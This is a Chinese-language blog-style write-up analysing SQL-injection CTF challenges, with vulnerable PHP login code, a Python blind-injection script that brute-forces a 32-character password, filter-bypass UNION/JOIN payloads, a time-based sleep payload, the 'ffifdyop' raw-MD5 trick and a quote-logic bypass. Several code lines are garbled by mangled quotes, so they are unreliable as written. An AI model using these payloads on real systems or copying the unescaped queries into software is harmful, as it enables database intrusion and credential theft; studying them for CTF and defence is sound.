當前位置:
首頁 > 知識 > ctf中常見注入題源碼及腳本分析

ctf中常見注入題源碼及腳本分析

1.代碼審計發現 這裡沒有用escape_string,因此存在注入。

1 function show($username){
2 global $conn;
3 $sql = "select role from `user` where username ="".$username.""";
4 $res = $conn ->query($sql);
5 if($res->num_rows>0){
6 echo "$username is ".$res->fetch_assoc["role"];
7 }else{
8 die("Don"t have this user!");
9 }
10 }

通過這裡注入可以得到pasaword,$usename為被 單引號引起,所以應該首先注意閉合單引號。

pyhton腳本如下:

1 # --coding:utf-8-- import requests
2 url="http://117.34.111.15:89/?action=show"
3 passwd=""
4 lists="1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"
5 for i in xrange(1,33):
6 print i
7 for p in lists:
8 param={"username":"-1"=(ascii(mid((passwd)from("+str(i)+")))="+str(ord(p))+")="0"}
9 print requests.post(url,data=param).content
10 if "admin" in requests.post(url,data=param).content:
11 passwd=passwd+p
12 break
13 print passwd

首先可以通過注入得到password長度為32,即我們需要爆破32位長度的密碼。

利用 (-1=x=x=0)=true的邏輯來依次判斷出每一位密碼。

因為有32位,所以外層循環需要32次,對每一次都需要內層循環遍歷所有的數字和字母,當三個等於號為true時,頁面返回中會返回包含「admin」的字元串,此時可以將爆破出的一位密碼位保留。

登陸就是flag 登陸這裡的admin判斷直接用admin%c2這個去繞過(mysql客戶端與資料庫的字元轉換trick,當客戶端為utf8,資料庫為latin1的時候,latin1不允許出現漢字,所以將%c2視為無用部分捨去)。

ctf中常見注入題源碼及腳本分析

2.當注入時出現逗號,空格被過濾且關鍵欄位被過濾

首先創建一張表作為要被查詢的表作為演示

ctf中常見注入題源碼及腳本分析

插入一些數據;

ctf中常見注入題源碼及腳本分析

我們的目的是查詢出id=4的passwd的值,但是空格逗號被過濾以及passwd欄位被過濾,所以首先繞過空格和逗號的過濾,

空格的過濾可以用//,/**/,,+繞過

逗號,關鍵欄位可以用join查詢來實現,以便於實現union聯合查詢。

首先看一下join的效果:

ctf中常見注入題源碼及腳本分析

這裡的1,2,3,4是我們可以替換的用於顯示的數據位,比如:

ctf中常見注入題源碼及腳本分析

我們通過id主鍵來查詢出每一條結果

ctf中常見注入題源碼及腳本分析

為了查出第四條記錄的passwd欄位的值,首先構造:

1 select * from((select 1)a join (select 2)b join (select 3)c join (select 4)d)

假設欄位三是數據回顯位,則將(select 3)改寫為:

1 (select result.3 from (select * from ((select 1)q join (select 2)w join (select 3)e join (select 4)r) union select * from table3 limit 1 offset 3) result)c

則最終語句為:

1 select * from((select 1)a join (select 2)b join (select result.3 from(select * from ((select 1)q join (select 2)w join (select 3)e join (select 4)r)union select * from table3 limit 1 offset 4)result)c join (select 4)d);

ctf中常見注入題源碼及腳本分析

3.過濾了逗號,延時注入(sleep函數):

首先無法使用if函數,但是可以用select case函數代替

1 select case when (條件1) 代碼1 else (條件2) 代碼2

即可構造

1 1 -1" select case when (substring(select flag from flag from i for 1))=j) then sleep(6) else 0 end and "1"="1

腳本如下:

ctf中常見注入題源碼及腳本分析

4.sql in hash

代碼如下:

1 <?php
2 error_reporting(0);
3 $link = mysql_connect("localhost", "root", "");
4 if (!$link) {
5 die("Could not connect to MySQL: " . mysql_error);
6 }
7 // 選擇資料庫
8 $db = mysql_select_db("test", $link);
9 if(!$db)
10 {
11 echo "select db error";
12 exit;
13 }
14 // 執行sql
15 $password = "ffifdyop";
16 $sql = "SELECT * FROM admin WHERE pass = "".md5($password,true).""";
17 var_dump($sql);
18 $result=mysql_query($sql) or die("<pre>" . mysql_error . "</pre>" );
19 $row1 = mysql_fetch_row($result);
20 var_dump($row1);
21 mysql_close($link);
22 ?>

我們在不知道密碼的情況下要完成登陸,切密碼經過hash,因為可以將hash之後的16進位轉為字元串,即

即此時可構成注入 ,查詢語句如下:

1 select * from admin where pass= ""or"6<trash>"

5.sql邏輯繞過:

1 select * from *** where username ="" and password="";

即構造select * from *** where username = " " =" " and password =" " =" ";

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 科技優家 的精彩文章:

封裝自己的Ajax框架
二叉樹常見面試題
Flunetd 用於統一日誌記錄層的開源數據收集器
phpMyAdmin安裝部署

TAG:科技優家 |